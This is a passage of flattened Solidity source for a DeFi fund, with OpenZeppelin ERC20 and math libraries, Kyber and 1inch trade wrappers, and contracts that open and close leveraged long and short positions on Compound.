address(this))); require(_actualDestAmount > 0 && _actualSrcAmount > 0); _destPriceInSrc = calcRateFromQty(_actualDestAmount, _actualSrcAmount, getDecimals(_destToken), getDecimals(_srcToken)); _srcPriceInDest = calcRateFromQty(_actualSrcAmount, _actualDestAmount, getDecimals(_srcToken), getDecimals(_destToken)); } /** * @notice Wrapper function for doing token conversion on 1inch * @param _srcToken the token to convert from * @param _srcAmount the amount of tokens to be converted * @param _destToken the destination token * @return _destPriceInSrc the price of the dest token, in terms of source tokens * _srcPriceInDest the price of the source token, in terms of dest tokens * _actualDestAmount actual amount of dest token traded * _actualSrcAmount actual amount of src token traded */ function __oneInchTrade(ERC20Detailed _srcToken, uint256 _srcAmount, ERC20Detailed _destToken, bytes memory _calldata) internal returns( uint256 _destPriceInSrc, uint256 _srcPriceInDest, uint256 _actualDestAmount, uint256 _actualSrcAmount ) { require(_srcToken != _destToken); uint256 beforeSrcBalance = getBalance(_srcToken, address(this)); uint256 beforeDestBalance = getBalance(_destToken, address(this)); // Note: _actualSrcAmount is being used as msgValue here, because otherwise we'd run into the stack too deep error if (_srcToken != ETH_TOKEN_ADDRESS) { _actualSrcAmount = 0; OneInchExchange dex = OneInchExchange(ONEINCH_ADDR); address approvalHandler = dex.spender(); _srcToken.safeApprove(approvalHandler, 0); _srcToken.safeApprove(approvalHandler, _srcAmount); } else { _actualSrcAmount = _srcAmount; } // trade through 1inch proxy (bool success,) = ONEINCH_ADDR.call.value(_actualSrcAmount)(_calldata); require(success); // calculate trade amounts and price _actualDestAmount = getBalance(_destToken, address(this)).sub(beforeDestBalance); _actualSrcAmount = beforeSrcBalance.sub(getBalance(_srcToken, address(this))); require(_actualDestAmount > 0 && _actualSrcAmount > 0); _destPriceInSrc = calcRateFromQty(_actualDestAmount, _actualSrcAmount, getDecimals(_destToken), getDecimals(_srcToken)); _srcPriceInDest = calcRateFromQty(_actualSrcAmount, _actualDestAmount, getDecimals(_srcToken), getDecimals(_destToken)); } /** * @notice Checks if an Ethereum account is a smart contract * @param _addr the account to be checked * @return True if the account is a smart contract, false otherwise */ function isContract(address _addr) internal view returns(bool) { uint256 size; if (_addr == address(0)) return false; assembly { size := extcodesize(_addr) } return size>0; } function toPayableAddr(address _addr) internal pure returns (address payable) { return address(uint160(_addr)); } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; /** * @title The interface for the Kyber Network smart contract * @author Zefram Lou (Zebang Liu) */ interface KyberNetwork { function getExpectedRate(ERC20Detailed src, ERC20Detailed dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function tradeWithHint( ERC20Detailed src, uint srcAmount, ERC20Detailed dest, address payable destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint); } pragma solidity 0.5.17; interface OneInchExchange { function spender() external view returns (address); } pragma solidity 0.5.17; import "./LongCERC20Order.sol"; import "./LongCEtherOrder.sol"; import "./ShortCERC20Order.sol"; import "./ShortCEtherOrder.sol"; import "../lib/CloneFactory.sol"; contract CompoundOrderFactory is CloneFactory { address public SHORT_CERC20_LOGIC_CONTRACT; address public SHORT_CEther_LOGIC_CONTRACT; address public LONG_CERC20_LOGIC_CONTRACT; address public LONG_CEther_LOGIC_CONTRACT; address public USDC_ADDR; address payable public KYBER_ADDR; address public COMPTROLLER_ADDR; address public ORACLE_ADDR; address public CUSDC_ADDR; address public CETH_ADDR; constructor( address _shortCERC20LogicContract, address _shortCEtherLogicContract, address _longCERC20LogicContract, address _longCEtherLogicContract, address _usdcAddr, address payable _kyberAddr, address _comptrollerAddr, address _priceOracleAddr, address _cUSDCAddr, address _cETHAddr ) public { SHORT_CERC20_LOGIC_CONTRACT = _shortCERC20LogicContract; SHORT_CEther_LOGIC_CONTRACT = _shortCEtherLogicContract; LONG_CERC20_LOGIC_CONTRACT = _longCERC20LogicContract; LONG_CEther_LOGIC_CONTRACT = _longCEtherLogicContract; USDC_ADDR = _usdcAddr; KYBER_ADDR = _kyberAddr; COMPTROLLER_ADDR = _comptrollerAddr; ORACLE_ADDR = _priceOracleAddr; CUSDC_ADDR = _cUSDCAddr; CETH_ADDR = _cETHAddr; } function createOrder( address _compoundTokenAddr, uint256 _cycleNumber, uint256 _stake, uint256 _collateralAmountInUSDC, uint256 _loanAmountInUSDC, bool _orderType ) external returns (CompoundOrder) { require(_compoundTokenAddr != address(0)); CompoundOrder order; address payable clone; if (_compoundTokenAddr != CETH_ADDR) { if (_orderType) { // Short CERC20 Order clone = toPayableAddr(createClone(SHORT_CERC20_LOGIC_CONTRACT)); } else { // Long CERC20 Order clone = toPayableAddr(createClone(LONG_CERC20_LOGIC_CONTRACT)); } } else { if (_orderType) { // Short CEther Order clone = toPayableAddr(createClone(SHORT_CEther_LOGIC_CONTRACT)); } else { // Long CEther Order clone = toPayableAddr(createClone(LONG_CEther_LOGIC_CONTRACT)); } } order = CompoundOrder(clone); order.init(_compoundTokenAddr, _cycleNumber, _stake, _collateralAmountInUSDC, _loanAmountInUSDC, _orderType, USDC_ADDR, KYBER_ADDR, COMPTROLLER_ADDR, ORACLE_ADDR, CUSDC_ADDR, CETH_ADDR); order.transferOwnership(msg.sender); return order; } function getMarketCollateralFactor(address _compoundTokenAddr) external view returns (uint256) { Comptroller troll = Comptroller(COMPTROLLER_ADDR); (, uint256 factor) = troll.markets(_compoundTokenAddr); return factor; } function tokenIsListed(address _compoundTokenAddr) external view returns (bool) { Comptroller troll = Comptroller(COMPTROLLER_ADDR); (bool isListed,) = troll.markets(_compoundTokenAddr); return isListed; } function toPayableAddr(address _addr) internal pure returns (address payable) { return address(uint160(_addr)); } } pragma solidity 0.5.17; import "./CompoundOrder.sol"; contract LongCERC20Order is CompoundOrder { modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) { // Ensure token's price is between _minPrice and _maxPrice uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the longing token's price in USD require(tokenPrice > 0); // Ensure asset exists on Compound require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range _; } function executeOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidToken(compoundTokenAddr) isValidPrice(_minPrice, _maxPrice) { buyTime = now; // Get funds in USDC from PeakDeFiFund usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund // Convert received USDC to longing token (,uint256 actualTokenAmount) = __sellUSDCForToken(collateralAmountInUSDC); // Enter Compound markets CERC20 market = CERC20(compoundTokenAddr); address[] memory markets = new address[](2); markets[0] = compoundTokenAddr; markets[1] = address(CUSDC); uint[] memory errors = COMPTROLLER.enterMarkets(markets); require(errors[0] == 0 && errors[1] == 0); // Get loan from Compound in USDC ERC20Detailed token = __underlyingToken(compoundTokenAddr); token.safeApprove(compoundTokenAddr, 0); // Clear token allowance of Compound token.safeApprove(compoundTokenAddr, actualTokenAmount); // Approve token transfer to Compound require(market.mint(actualTokenAmount) == 0); // Transfer tokens into Compound as supply token.safeApprove(compoundTokenAddr, 0); // Clear token allowance of Compound require(CUSDC.borrow(loanAmountInUSDC) == 0);// Take out loan in USDC (bool negLiquidity, ) = getCurrentLiquidityInUSDC(); require(!negLiquidity); // Ensure account liquidity is positive // Convert borrowed USDC to longing token __sellUSDCForToken(loanAmountInUSDC); // Repay leftover USDC to avoid complications if (usdc.balanceOf(address(this)) > 0) { uint256 repayAmount = usdc.balanceOf(address(this)); usdc.safeApprove(address(CUSDC), 0); usdc.safeApprove(address(CUSDC), repayAmount); require(CUSDC.repayBorrow(repayAmount) == 0); usdc.safeApprove(address(CUSDC), 0); } } function sellOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidPrice(_minPrice, _maxPrice) returns (uint256 _inputAmount, uint256 _outputAmount) { require(buyTime > 0); // Ensure the order has been executed require(isSold == false); isSold = true; // Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral // Repeat to ensure debt is exhausted CERC20 market = CERC20(compoundTokenAddr); ERC20Detailed token = __underlyingToken(compoundTokenAddr); for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) { uint256 currentDebt = getCurrentBorrowInUSDC(); if (currentDebt > NEGLIGIBLE_DEBT) { // Determine amount to be repaid this step uint256 currentBalance = getCurrentCashInUSDC(); uint256 repayAmount = 0; // amount to be repaid in USDC if (currentDebt <= currentBalance) { // Has enough money, repay all debt repayAmount = currentDebt; } else { // Doesn't have enough money, repay whatever we can repay repayAmount = currentBalance; } // Repay debt repayLoan(repayAmount); } // Withdraw all available liquidity (bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC(); if (!isNeg) { liquidity = __usdcToToken(compoundTokenAddr, liquidity); uint256 errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with fallback slippage errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with max slippage market.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION)); } } } if (currentDebt <= NEGLIGIBLE_DEBT) { break; } } // Sell all longing token to USDC __sellTokenForUSDC(token.balanceOf(address(this))); // Send USDC back to PeakDeFiFund and return _inputAmount = collateralAmountInUSDC; _outputAmount = usdc.balanceOf(address(this)); outputAmount = _outputAmount; usdc.safeTransfer(owner(), usdc.balanceOf(address(this))); uint256 leftoverTokens = token.balanceOf(address(this)); if (leftoverTokens > 0) { token.safeTransfer(owner(), leftoverTokens); // Send back potential leftover tokens } } // Allows manager to repay loan to avoid liquidation function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner { require(buyTime > 0); // Ensure the order has been executed // Convert longing token to USDC uint256 repayAmountInToken = __usdcToToken(compoundTokenAddr, _repayAmountInUSDC); (uint256 actualUSDCAmount,) = __sellTokenForUSDC(repayAmountInToken); // Check if amount is greater than borrow balance uint256 currentDebt = CUSDC.borrowBalanceCurrent(address(this)); if (actualUSDCAmount > currentDebt) { actualUSDCAmount = currentDebt; } // Repay loan to Compound usdc.safeApprove(address(CUSDC), 0); usdc.safeApprove(address(CUSDC), actualUSDCAmount); require(CUSDC.repayBorrow(actualUSDCAmount) == 0); usdc.safeApprove(address(CUSDC), 0); } function getMarketCollateralFactor() public view returns (uint256) { (, uint256 ratio) = COMPTROLLER.markets(address(compoundTokenAddr)); return ratio; } function getCurrentCollateralInUSDC() public returns (uint256 _amount) { CERC20 market = CERC20(compoundTokenAddr); uint256 supply = __tokenToUSDC(compoundTokenAddr, market.balanceOf(address(this)).mul(market.exchangeRateCurrent()).div(PRECISION)); return supply; } function getCurrentBorrowInUSDC() public returns (uint256 _amount) { uint256 borrow = CUSDC.borrowBalanceCurrent(address(this)); return borrow; } function getCurrentCashInUSDC() public view returns (uint256 _amount) { ERC20Detailed token = __underlyingToken(compoundTokenAddr); uint256 cash = __tokenToUSDC(compoundTokenAddr, getBalance(token, address(this))); return cash; } } pragma solidity 0.5.17; import "./CompoundOrder.sol"; contract LongCEtherOrder is CompoundOrder { modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) { // Ensure token's price is between _minPrice and _maxPrice uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the longing token's price in USD require(tokenPrice > 0); // Ensure asset exists on Compound require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range _; } function executeOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidToken(compoundTokenAddr) isValidPrice(_minPrice, _maxPrice) { buyTime = now; // Get funds in USDC from PeakDeFiFund usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund // Convert received USDC to longing token (,uint256 actualTokenAmount) = __sellUSDCForToken(collateralAmountInUSDC); // Enter Compound markets CEther market = CEther(compoundTokenAddr); address[] memory markets = new address[](2); markets[0] = compoundTokenAddr; markets[1] = address(CUSDC); uint[] memory errors = COMPTROLLER.enterMarkets(markets); require(errors[0] == 0 && errors[1] == 0); // Get loan from Compound in USDC market.mint.value(actualTokenAmount)(); // Transfer tokens into Compound as supply require(CUSDC.borrow(loanAmountInUSDC) == 0);// Take out loan in USDC (bool negLiquidity, ) = getCurrentLiquidityInUSDC(); require(!negLiquidity); // Ensure account liquidity is positive // Convert borrowed USDC to longing token __sellUSDCForToken(loanAmountInUSDC); // Repay leftover USDC to avoid complications if (usdc.balanceOf(address(this)) > 0) { uint256 repayAmount = usdc.balanceOf(address(this)); usdc.safeApprove(address(CUSDC), 0); usdc.safeApprove(address(CUSDC), repayAmount); require(CUSDC.repayBorrow(repayAmount) == 0); usdc.safeApprove(address(CUSDC), 0); } } function sellOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidPrice(_minPrice, _maxPrice) returns (uint256 _inputAmount, uint256 _outputAmount) { require(buyTime > 0); // Ensure the order has been executed require(isSold == false); isSold = true; // Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral // Repeat to ensure debt is exhausted CEther market = CEther(compoundTokenAddr); for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) { uint256 currentDebt = getCurrentBorrowInUSDC(); if (currentDebt > NEGLIGIBLE_DEBT) { // Determine amount to be repaid this step uint256 currentBalance = getCurrentCashInUSDC(); uint256 repayAmount = 0; // amount to be repaid in USDC if (currentDebt <= currentBalance) { // Has enough money, repay all debt repayAmount = currentDebt; } else { // Doesn't have enough money, repay whatever we can repay repayAmount = currentBalance; } // Repay debt repayLoan(repayAmount); } // Withdraw all available liquidity (bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC(); if (!isNeg) { liquidity = __usdcToToken(compoundTokenAddr, liquidity); uint256 errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with fallback slippage errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with max slippage market.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION)); } } } if (currentDebt <= NEGLIGIBLE_DEBT) { break; } } // Sell all longing token to USDC __sellTokenForUSDC(address(this).balance); // Send USDC back to PeakDeFiFund and return _inputAmount = collateralAmountInUSDC; _outputAmount = usdc.balanceOf(address(this)); outputAmount = _outputAmount; usdc.safeTransfer(owner(), usdc.balanceOf(address(this))); toPayableAddr(owner()).transfer(address(this).balance); // Send back potential leftover tokens } // Allows manager to repay loan to avoid liquidation function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner { require(buyTime > 0); // Ensure the order has been executed // Convert longing token to USDC uint256 repayAmountInToken = __usdcToToken(compoundTokenAddr, _repayAmountInUSDC); (uint256 actualUSDCAmount,) = __sellTokenForUSDC(repayAmountInToken); // Check if amount is greater than borrow balance uint256 currentDebt = CUSDC.borrowBalanceCurrent(address(this)); if (actualUSDCAmount > currentDebt) { actualUSDCAmount = currentDebt; } // Repay loan to Compound usdc.safeApprove(address(CUSDC), 0); usdc.safeApprove(address(CUSDC), actualUSDCAmount); require(CUSDC.repayBorrow(actualUSDCAmount) == 0); usdc.safeApprove(address(CUSDC), 0); } function getMarketCollateralFactor() public view returns (uint256) { (, uint256 ratio) = COMPTROLLER.markets(address(compoundTokenAddr)); return ratio; } function getCurrentCollateralInUSDC() public returns (uint256 _amount) { CEther market = CEther(compoundTokenAddr); uint256 supply = __tokenToUSDC(compoundTokenAddr, market.balanceOf(address(this)).mul(market.exchangeRateCurrent()).div(PRECISION)); return supply; } function getCurrentBorrowInUSDC() public returns (uint256 _amount) { uint256 borrow = CUSDC.borrowBalanceCurrent(address(this)); return borrow; } function getCurrentCashInUSDC() public view returns (uint256 _amount) { ERC20Detailed token = __underlyingToken(compoundTokenAddr); uint256 cash = __tokenToUSDC(compoundTokenAddr, getBalance(token, address(this))); return cash; } } pragma solidity 0.5.17; import "./CompoundOrder.sol"; contract ShortCERC20Order is CompoundOrder { modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) { // Ensure token's price is between _minPrice and _maxPrice uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the shorting token's price in USD require(tokenPrice > 0); // Ensure asset exists on Compound require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range _; } function executeOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidToken(compoundTokenAddr) isValidPrice(_minPrice, _maxPrice) { buyTime = now; // Get funds in USDC from PeakDeFiFund usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund // Enter Compound markets CERC20 market = CERC20(compoundTokenAddr); address[] memory markets = new address[](2); markets[0] = compoundTokenAddr; markets[1] = address(CUSDC); uint[] memory errors = COMPTROLLER.enterMarkets(markets); require(errors[0] == 0 && errors[1] == 0); // Get loan from Compound in tokenAddr uint256 loanAmountInToken = __usdcToToken(compoundTokenAddr, loanAmountInUSDC); usdc.safeApprove(address(CUSDC), 0); // Clear USDC allowance of Compound USDC market usdc.safeApprove(address(CUSDC), collateralAmountInUSDC); // Approve USDC transfer to Compound USDC market require(CUSDC.mint(collateralAmountInUSDC) == 0); // Transfer USDC into Compound as supply usdc.safeApprove(address(CUSDC), 0); require(market.borrow(loanAmountInToken) == 0);// Take out loan (bool negLiquidity, ) = getCurrentLiquidityInUSDC(); require(!negLiquidity); // Ensure account liquidity is positive // Convert loaned tokens to USDC (uint256 actualUSDCAmount,) = __sellTokenForUSDC(loanAmountInToken); loanAmountInUSDC = actualUSDCAmount; // Change loan amount to actual USDC received // Repay leftover tokens to avoid complications ERC20Detailed token = __underlyingToken(compoundTokenAddr); if (token.balanceOf(address(this)) > 0) { uint256 repayAmount = token.balanceOf(address(this)); token.safeApprove(compoundTokenAddr, 0); token.safeApprove(compoundTokenAddr, repayAmount); require(market.repayBorrow(repayAmount) == 0); token.safeApprove(compoundTokenAddr, 0); } } function sellOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidPrice(_minPrice, _maxPrice) returns (uint256 _inputAmount, uint256 _outputAmount) { require(buyTime > 0); // Ensure the order has been executed require(isSold == false); isSold = true; // Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral // Repeat to ensure debt is exhausted for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) { uint256 currentDebt = getCurrentBorrowInUSDC(); if (currentDebt > NEGLIGIBLE_DEBT) { // Determine amount to be repaid this step uint256 currentBalance = getCurrentCashInUSDC(); uint256 repayAmount = 0; // amount to be repaid in USDC if (currentDebt <= currentBalance) { // Has enough money, repay all debt repayAmount = currentDebt; } else { // Doesn't have enough money, repay whatever we can repay repayAmount = currentBalance; } // Repay debt repayLoan(repayAmount); } // Withdraw all available liquidity (bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC(); if (!isNeg) { uint256 errorCode = 